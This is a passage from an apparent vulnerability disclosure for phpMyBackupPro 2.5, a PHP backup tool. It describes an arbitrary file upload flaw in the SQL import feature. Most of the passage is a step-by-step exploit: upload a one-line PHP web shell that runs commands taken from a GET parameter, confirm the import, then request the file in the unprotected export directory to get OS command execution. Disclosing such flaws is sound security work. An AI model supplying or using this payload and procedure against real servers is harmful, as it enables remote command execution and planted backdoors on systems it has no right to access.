application, licensed under the GNU GPL.
You can create scheduled backups, manage and restore them, download or
email them and a lot more.
Arbitrary File Upload
phpMyBackupPro allows SQL uploads but fails to check the actual file type,
allowing arbitrary file uploads which
can lead to arbitrary OS command, backdoor shells etc...
Arbitary File Upload under "database queries" user has option to 'Upload
1) upload malicious PHP file containing <?php exec(@$_GET['cmd']); ?> as an
SQL import using select "fragmented".
2) click 'Yes' when prompted 'Do you really want to import this backup?'
3) make HTTP request to process the uploaded PHP file e.g.
http://localhost/phpMyBackupPro-2.5/export/EVIL.php and BOOOOOOM!
'export' directory comes unprotected with no .htaccess file etc.. and most
important file upload type is not checked.
